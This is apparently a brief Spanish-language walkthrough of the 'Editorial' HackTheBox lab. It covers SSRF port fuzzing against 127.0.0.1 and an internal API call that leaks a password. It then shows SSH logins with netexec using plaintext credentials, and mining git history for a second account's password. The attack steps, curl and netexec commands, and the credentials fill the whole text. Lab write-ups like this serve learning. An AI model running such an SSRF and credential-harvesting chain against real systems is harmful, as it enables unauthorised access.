Editorial
SSRF
Probamos :
127.0.0.1:80
http://127.0.0.1:(1-65535)
Fuzzeamos del 1-65535 los puertos hasta encontrar uno que retorne un resultado distinto.
Se trata de un API y en uno de sus endpoints retorna una contraseña:
Hacer una petición a
http://127.0.0.1:5000/api/latest/metadata/messages/authors
Devuelve el siguiente recurso
curl -s 'http://editorial.htb/static/uploads/63ef32c6-91b8-4ac1-9216-000fd0a3f1a1' | jq .
Que tiene una contraseña:
netexec ssh editorial.htb -u dev -p 'dev080217_devAPI!@'
cd /app
git status
git log --oneline
git diff hashcommit1 hashcommit2
netexec ssh editorial.htb -u prod -p '080217_Producti0n_2023!@'